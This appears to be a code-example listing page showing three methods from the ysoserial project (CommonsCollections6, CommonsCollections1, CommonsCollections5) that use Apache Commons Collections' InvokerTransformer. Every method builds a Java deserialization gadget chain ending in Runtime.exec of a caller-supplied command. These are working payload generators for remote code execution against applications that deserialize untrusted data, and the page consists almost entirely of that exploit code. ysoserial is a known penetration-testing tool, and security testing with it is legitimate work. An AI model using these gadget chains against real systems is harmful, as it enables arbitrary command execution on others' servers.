Examples with InvokerTransformer org.apache.commons.collections.functors.InvokerTransformer used on opensource projects

Example 1 with InvokerTransformer

use of org.apache.commons.collections.functors.InvokerTransformer in project ysoserial by frohoff.

the class CommonsCollections6 method getObject.

public Serializable getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    Transformer transformerChain = new ChainedTransformer(transformers);
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    HashSet map = new HashSet(1);
    map.add("foo");
    Field f = null;
    try {
        f = HashSet.class.getDeclaredField("map");
    } catch (NoSuchFieldException e) {
        f = HashSet.class.getDeclaredField("backingMap");
    }
    f.setAccessible(true);
    HashMap innimpl = (HashMap) f.get(map);
    Field f2 = null;
    try {
        f2 = HashMap.class.getDeclaredField("table");
    } catch (NoSuchFieldException e) {
        f2 = HashMap.class.getDeclaredField("elementData");
    }
    f2.setAccessible(true);
    Object[] array = (Object[]) f2.get(innimpl);
    Object node = array[0];
    if (node == null) {
        node = array[1];
    }
    Field keyField = null;
    try {
        keyField = node.getClass().getDeclaredField("key");
    } catch (Exception e) {
        keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
    }
    keyField.setAccessible(true);
    keyField.set(node, entry);
    return map;
}

Example 2 with InvokerTransformer

use of org.apache.commons.collections.functors.InvokerTransformer in project ysoserial by frohoff.

the class CommonsCollections1 method getObject.

public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return handler;
}

Example 3 with InvokerTransformer

use of org.apache.commons.collections.functors.InvokerTransformer in project ysoserial by frohoff.

the class CommonsCollections5 method getObject.

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    valfield.setAccessible(true);
    valfield.set(val, entry);
    // arm with actual transformer chain
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    return val;
}